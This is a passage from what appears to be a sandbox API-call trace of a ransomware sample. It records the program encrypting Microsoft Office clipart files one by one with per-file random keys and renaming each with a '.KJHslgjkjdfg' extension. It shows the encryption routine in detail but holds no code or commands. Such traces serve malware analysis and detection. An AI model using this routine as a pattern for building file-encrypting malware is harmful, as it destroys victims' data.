lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.023] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.023] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.023] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.023] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.023] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.023] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.023] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f40, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f40, lpOverlapped=0x0) returned 1 [0173.024] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f40) returned 1 [0173.024] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.024] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f40, lpOverlapped=0x0) returned 1 [0173.024] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.024] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.024] SetEndOfFile (hFile=0x114) returned 1 [0173.026] GetProcessHeap () returned 0x2a0000 [0173.026] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.026] GetProcessHeap () returned 0x2a0000 [0173.027] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.027] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.kjhslgjkjdfg")) returned 1 [0173.028] CloseHandle (hObject=0x114) returned 1 [0173.028] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4054, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107490.WMF", cAlternateFileName="")) returned 1 [0173.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.028] GetProcessHeap () returned 0x2a0000 [0173.028] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.028] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.028] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.028] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.030] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.030] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.030] GetProcessHeap () returned 0x2a0000 [0173.030] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.031] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.031] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.031] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.031] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.031] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.031] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.031] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.031] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.031] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.031] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.031] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.031] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4054, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4054, lpOverlapped=0x0) returned 1 [0173.032] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4060, dwBufLen=0x4060 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4060) returned 1 [0173.032] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.032] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4060, lpOverlapped=0x0) returned 1 [0173.033] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.033] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.033] SetEndOfFile (hFile=0x114) returned 1 [0173.035] GetProcessHeap () returned 0x2a0000 [0173.035] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.035] GetProcessHeap () returned 0x2a0000 [0173.035] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.kjhslgjkjdfg")) returned 1 [0173.036] CloseHandle (hObject=0x114) returned 1 [0173.036] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1acc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107492.WMF", cAlternateFileName="")) returned 1 [0173.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.037] GetProcessHeap () returned 0x2a0000 [0173.037] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.037] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.037] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.037] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.039] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.039] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.039] GetProcessHeap () returned 0x2a0000 [0173.039] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.039] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.039] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.039] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.039] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.040] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.040] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.041] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.041] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.041] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.041] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1acc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1acc, lpOverlapped=0x0) returned 1 [0173.042] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ad0, dwBufLen=0x1ad0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ad0) returned 1 [0173.042] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.042] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ad0, lpOverlapped=0x0) returned 1 [0173.042] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.042] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.043] SetEndOfFile (hFile=0x114) returned 1 [0173.045] GetProcessHeap () returned 0x2a0000 [0173.045] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.045] GetProcessHeap () returned 0x2a0000 [0173.045] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.045] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.kjhslgjkjdfg")) returned 1 [0173.046] CloseHandle (hObject=0x114) returned 1 [0173.046] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1918, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107494.WMF", cAlternateFileName="")) returned 1 [0173.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.047] GetProcessHeap () returned 0x2a0000 [0173.047] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.047] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.047] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.047] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.049] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.049] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.049] GetProcessHeap () returned 0x2a0000 [0173.049] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.050] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.050] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.050] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.050] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.050] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.050] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.050] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.050] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.050] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.050] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.050] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.050] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1918, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1918, lpOverlapped=0x0) returned 1 [0173.054] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1920, dwBufLen=0x1920 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1920) returned 1 [0173.054] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.054] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1920, lpOverlapped=0x0) returned 1 [0173.054] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.054] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.054] SetEndOfFile (hFile=0x114) returned 1 [0173.056] GetProcessHeap () returned 0x2a0000 [0173.056] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.056] GetProcessHeap () returned 0x2a0000 [0173.057] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.kjhslgjkjdfg")) returned 1 [0173.058] CloseHandle (hObject=0x114) returned 1 [0173.058] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107496.WMF", cAlternateFileName="")) returned 1 [0173.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.058] GetProcessHeap () returned 0x2a0000 [0173.058] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.058] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.059] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.059] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.059] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.059] GetProcessHeap () returned 0x2a0000 [0173.059] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.059] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.059] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.059] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.061] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.061] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.061] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.061] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.061] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.061] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.061] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.061] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.061] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x22a0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x22a0, lpOverlapped=0x0) returned 1 [0173.062] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x22a0, dwBufLen=0x22a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x22a0) returned 1 [0173.062] 